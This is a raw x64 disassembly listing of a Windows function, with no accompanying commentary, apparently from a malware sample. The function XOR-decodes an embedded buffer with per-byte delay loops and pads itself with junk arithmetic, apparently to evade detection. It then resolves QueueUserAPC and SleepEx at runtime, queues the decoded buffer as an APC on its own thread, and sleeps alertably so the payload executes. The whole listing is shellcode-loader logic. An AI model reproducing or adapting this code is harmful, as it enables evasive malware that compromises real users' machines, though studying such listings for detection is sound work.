call fcn.1400040b0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x36c], eax
add dword [rbp + 0x368], 1
cmp dword [rbp + 0x368], 0x2fc
jle 0x140002914
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x36c]
movss xmm1, dword [0x1400061b0]
divss xmm0, xmm1
movss dword [rbp + 0x1ac], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x1ac]
movq rax, xmm4
movq xmm0, rax
call fcn.140003df0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x1a8], xmm0
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002bd0
mov dword [rbp + 0x184], 0
mov ecx, 0x988
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x178], rax
mov dword [rbp + 0x364], 0
jmp 0x140002af6
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x184], edx
mov edx, dword [rbp + 0x184]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x184], eax
cmp dword [rbp + 0x184], 0x168
jle 0x140002a7c
mov eax, dword [rbp + 0x364]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x178]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002aef
cmp dword [rbp + 0x184], 0
jns 0x140002aa9
mov eax, dword [rbp + 0x364]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x178]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002aef
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x184]
movsd xmm0, qword [0x140006198]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400061a0]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x364]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x178]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x364], 1
cmp dword [rbp + 0x364], 0x261
jle 0x140002a15
mov rax, qword [rbp + 0x178]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x378], 0x71
jne 0x140002b68
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, qword [rbp + 0x1c0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x378]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, qword [rbp + 0x1c0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x378], 0
jmp 0x140002bc9
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, qword [rbp + 0x1c0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x378]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, qword [rbp + 0x1c0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x360], 0x230
jmp 0x140002bb9
sub dword [rbp + 0x360], 1
cmp dword [rbp + 0x360], 0
jg 0x140002bb2
add dword [rbp + 0x378], 1
add dword [rbp + 0x380], 1
cmp dword [rbp + 0x380], 0x218
jle 0x1400029eb
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x340]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x340]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x190], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rbp + 0x198]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp + 0x358], 1
jmp 0x140002d12
mov dword [rbp + 0x35c], 0
mov eax, dword [rbp + 0x358]
mov dword [rbp + 0x354], eax
jmp 0x140002ce8
mov edx, dword [rbp + 0x354]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x188], edx
mov eax, dword [rbp + 0x188]
imul eax, eax
imul eax, dword [rbp + 0x188]
add dword [rbp + 0x35c], eax
mov eax, dword [rbp + 0x354]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x354], eax
cmp dword [rbp + 0x354], 0
jne 0x140002c7d
mov eax, dword [rbp + 0x35c]
cmp eax, dword [rbp + 0x358]
jne 0x140002d0b
mov eax, dword [rbp + 0x358]
mov dword [rbp + 0x18c], eax
add dword [rbp + 0x358], 1
cmp dword [rbp + 0x358], 0x398
jle 0x140002c65
mov rax, qword [rbp + 0x190]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x3c0]
add rsp, 0x458
pop rbx
pop rbp
ret